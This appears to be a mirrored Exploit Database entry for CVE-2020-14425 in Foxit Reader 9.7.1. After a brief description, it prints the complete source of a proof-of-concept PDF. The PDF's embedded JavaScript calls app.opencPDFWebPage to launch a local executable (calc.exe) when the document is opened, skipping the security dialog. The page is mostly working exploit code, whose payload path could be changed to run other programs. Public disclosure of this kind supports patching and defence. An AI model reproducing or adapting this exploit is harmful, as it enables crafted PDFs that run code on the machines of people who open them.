Foxit Reader 9.7.1 – Remote Command Execution (Javascript API)

• Exploit Database
• 127 阅读

• 作者： Nassim Asrir
  日期： 2020-11-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48982/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143

  # Exploit Title: Foxit Reader 9.7.1 - Remote Command Execution (Javascript API) # Exploit Author: Nassim Asrir # Vendor Homepage: https://www.foxitsoftware.com/ # Description: Foxit Reader before 10.0 allows Remote Command Execution via the unsafe app.opencPDFWebPage JavaScript API which allows an attacker to execute local files on the file system and bypass the security dialog. # CVE-2020-14425   The exploit process need the user-interaction (Opening the PDF) .   + Process continuation   #POC   %PDF-1.4   %ÓôÌá   1 0 obj << /CreationDate(D:20200821171007+02&apos;00&apos;) /Title(Hi, Can you see me ?) /Creator(AnonymousUser) >> endobj 2 0 obj << /Type/Catalog /Pages 3 0 R /Names << /JavaScript 10 0 R >> >> endobj 3 0 obj << /Type/Pages /Count 1 /Kids[4 0 R] >> endobj 4 0 obj << /Type/Page /MediaBox[0 0 595 842] /Parent 3 0 R /Contents 5 0 R /Resources << /ProcSet [/PDF/Text/ImageB/ImageC/ImageI] /ExtGState << /GS0 6 0 R >> /Font << /F0 8 0 R >> >> /Group << /CS/DeviceRGB /S/Transparency /I false /K false >> >> endobj 5 0 obj << /Length 94 /Filter/FlateDecode >> stream xœŠ»@@EûùŠ[RØk ­x•ÄüW"DDç덜âžÜœ›b°ý“{‡éTg†¼tS)dÛ‘±=dœþ+9Ÿ_ÄifÔÈŒ [ŽãB_5!d§ZhP>¯ ‰ endstream endobj 6 0 obj << /Type/ExtGState /ca 1 >> endobj 7 0 obj << /Type/FontDescriptor /Ascent 833 /CapHeight 592 /Descent -300 /Flags 32 /FontBBox[-192 -710 702 1221] /ItalicAngle 0 /StemV 0 /XHeight 443 /FontName/CourierNew,Bold >> endobj 8 0 obj << /Type/Font /Subtype/TrueType /BaseFont/CourierNew,Bold /Encoding/WinAnsiEncoding /FontDescriptor 7 0 R /FirstChar 0 /LastChar 255 /Widths[600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600] >> endobj 9 0 obj << /S/JavaScript /JS(app.opencPDFWebPage\(&apos;C:\\\\Windows\\\\System32\\\\calc.exe&apos;\) ) >> endobj 10 0 obj << /Names[(EmbeddedJS)9 0 R] >> endobj xref 0 11 0000000000 65535 f 0000000015 00000 n 0000000170 00000 n 0000000250 00000 n 0000000305 00000 n 0000000560 00000 n 0000000724 00000 n 0000000767 00000 n 0000000953 00000 n 0000002137 00000 n 0000002235 00000 n trailer << /ID[<7018DE6859F23E419162D213F5C4D583><7018DE6859F23E419162D213F5C4D583>] /Info 1 0 R /Root 2 0 R /Size 11 >> startxref 2283 %%EOF